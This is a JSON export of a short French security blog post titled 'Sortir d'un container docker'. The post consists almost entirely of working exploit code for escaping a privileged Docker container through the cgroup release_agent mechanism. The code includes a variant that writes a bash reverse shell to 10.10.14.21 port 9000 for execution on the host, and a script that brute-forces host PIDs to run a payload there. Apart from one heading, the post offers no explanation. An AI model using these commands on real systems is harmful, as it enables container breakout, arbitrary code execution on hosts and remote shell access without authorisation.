{"id":401,"date":"2022-03-15T07:39:23","date_gmt":"2022-03-15T12:39:23","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=401"},"modified":"2022-04-27T07:40:33","modified_gmt":"2022-04-27T12:40:33","slug":"sortir-dun-container-docker-2","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2022\/03\/15\/sortir-dun-container-docker-2\/","title":{"rendered":"Sortir d’un container docker"},"content":{"rendered":"

\n# Sur l'h\u00f4te\ndocker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash\n\n# Dans le container\nmkdir \/tmp\/cgrp && mount -t cgroup -o rdma cgroup \/tmp\/cgrp && mkdir \/tmp\/cgrp\/x\n\necho 1 > \/tmp\/cgrp\/x\/notify_on_release\nhost_path=`sed -n 's\/.*\\perdir=\\([^,]*\\).*\/\\1\/p' \/etc\/mtab`\necho "$host_path\/cmd" > \/tmp\/cgrp\/release_agent\n\n#For a normal PoC =================\necho '#!\/bin\/sh' > \/cmd\necho "ps aux > $host_path\/output" >> \/cmd\nchmod a+x \/cmd\n#===================================\n#Reverse shell\necho '#!\/bin\/bash' > \/cmd\necho "bash -i >& \/dev\/tcp\/10.10.14.21\/9000 0>&1" >> \/cmd\nchmod a+x \/cmd\n#===================================\n\nsh -c "echo \\$\\$ > \/tmp\/cgrp\/x\/cgroup.procs"\nhead \/output\n<\/code><\/pre><\/p>\n
Si le path du container docker n’est pas disponible
\n
\n#!\/bin\/sh\n\nOUTPUT_DIR="\/"\nMAX_PID=65535\nCGROUP_NAME="xyx"\nCGROUP_MOUNT="\/tmp\/cgrp"\nPAYLOAD_NAME="${CGROUP_NAME}_payload.sh"\nPAYLOAD_PATH="${OUTPUT_DIR}\/${PAYLOAD_NAME}"\nOUTPUT_NAME="${CGROUP_NAME}_payload.out"\nOUTPUT_PATH="${OUTPUT_DIR}\/${OUTPUT_NAME}"\n\n# Run a process for which we can search for (not needed in reality, but nice to have)\nsleep 10000 &\n\n# Prepare the payload script to execute on the host\ncat > ${PAYLOAD_PATH} << __EOF__\n#!\/bin\/sh\n\nOUTPATH=\\$(dirname \\$0)\/${OUTPUT_NAME}\n\n# Commands to run on the host<\nps -eaf > \\${OUTPATH} 2>&1\n__EOF__\n\n# Make the payload script executable\nchmod a+x ${PAYLOAD_PATH}\n\n# Set up the cgroup mount using the memory resource cgroup controller\nmkdir ${CGROUP_MOUNT}\nmount -t cgroup -o memory cgroup ${CGROUP_MOUNT}\nmkdir ${CGROUP_MOUNT}\/${CGROUP_NAME}\necho 1 > ${CGROUP_MOUNT}\/${CGROUP_NAME}\/notify_on_release\n\n# Brute force the host pid until the output path is created, or we run out of guesses\nTPID=1\nwhile [ ! -f ${OUTPUT_PATH} ]\ndo\n  if [ $((${TPID} % 100)) -eq 0 ]\n  then\n    echo "Checking pid ${TPID}"\n    if [ ${TPID} -gt ${MAX_PID} ]\n    then\n      echo "Exiting at ${MAX_PID} :-("\n      exit 1\n    fi\n  fi\n  # Set the release_agent path to the guessed pid\n  echo "\/proc\/${TPID}\/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}\/release_agent\n  # Trigger execution of the release_agent\n  sh -c "echo \\$\\$ > ${CGROUP_MOUNT}\/${CGROUP_NAME}\/cgroup.procs"\n  TPID=$((${TPID} + 1))\ndone\n\n# Wait for and cat the output\nsleep 1\necho "Done! Output:"\ncat ${OUTPUT_PATH}\n<\/code><\/pre><\/p>\n","protected":false},"excerpt":{"rendered":"
# Sur l'h\u00f4te docker run –rm -it –cap-add=SYS_ADMIN –security-opt apparmor=unconfined ubuntu bash # Dans le container mkdir \/tmp\/cgrp && mount -t cgroup -o rdma cgroup \/tmp\/cgrp && mkdir \/tmp\/cgrp\/x echo 1 > \/tmp\/cgrp\/x\/notify_on_release host_path=`sed -n 's\/.*\\perdir=\\(*\\).*\/\\1\/p' \/etc\/mtab` echo "$host_path\/cmd" > \/tmp\/cgrp\/release_agent #For a normal PoC ================= echo '#!\/bin\/sh' > \/cmd echo "ps aux > $host_path\/output" >> \/cmd chmod a+x \/cmd #=================================== #Reverse shell echo '#!\/bin\/bash' > \/cmd echo "bash -i >& \/dev\/tcp\/10.10.14.21\/9000 0>&1" >> \/cmd chmod a+x \/cmd #=================================== sh -c "echo \\$\\$ > \/tmp\/cgrp\/x\/cgroup.procs" head \/output Si le path du container docker n’est pas disponible #!\/bin\/sh OUTPUT_DIR="\/" MAX_PID=65535 CGROUP_NAME="xyx" <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22],"tags":[],"yoast_head":"\nSortir d'un container docker - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2022\/03\/15\/sortir-dun-container-docker-2\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sortir d'un container docker - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"# Sur l'h\u00f4te docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash # Dans le container mkdir \/tmp\/cgrp && mount -t cgroup -o rdma cgroup \/tmp\/cgrp && mkdir \/tmp\/cgrp\/x echo 1 > \/tmp\/cgrp\/x\/notify_on_release host_path=`sed -n 's\/.*perdir=(*).*\/1\/p' \/etc\/mtab` echo "$host_path\/cmd" > \/tmp\/cgrp\/release_agent #For a normal PoC ================= echo '#!\/bin\/sh' > \/cmd echo "ps aux > $host_path\/output" >> \/cmd chmod a+x \/cmd #=================================== #Reverse shell echo '#!\/bin\/bash' > \/cmd echo "bash -i >& \/dev\/tcp\/10.10.14.21\/9000 0>&1" >> \/cmd chmod a+x \/cmd #=================================== sh -c "echo $$ > \/tmp\/cgrp\/x\/cgroup.procs" head \/output Si le path du container docker n’est pas disponible #!\/bin\/sh OUTPUT_DIR="\/" MAX_PID=65535 CGROUP_NAME="xyx"\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.searchevolution.com\/security\/2022\/03\/15\/sortir-dun-container-docker-2\/\" \/>\n<meta property=\"og:site_name\" content=\"S\u00e9curiser votre site\" \/>\n<meta property=\"article:published_time\" content=\"2022-03-15T12:39:23+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-04-27T12:40:33+00:00\" \/>\n<meta name=\"author\" content=\"Germain\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Germain\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimation du temps de lecture\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/2022\/03\/15\/sortir-dun-container-docker-2\/\",\"url\":\"https:\/\/www.searchevolution.com\/security\/2022\/03\/15\/sortir-dun-container-docker-2\/\",\"name\":\"Sortir d'un container docker - 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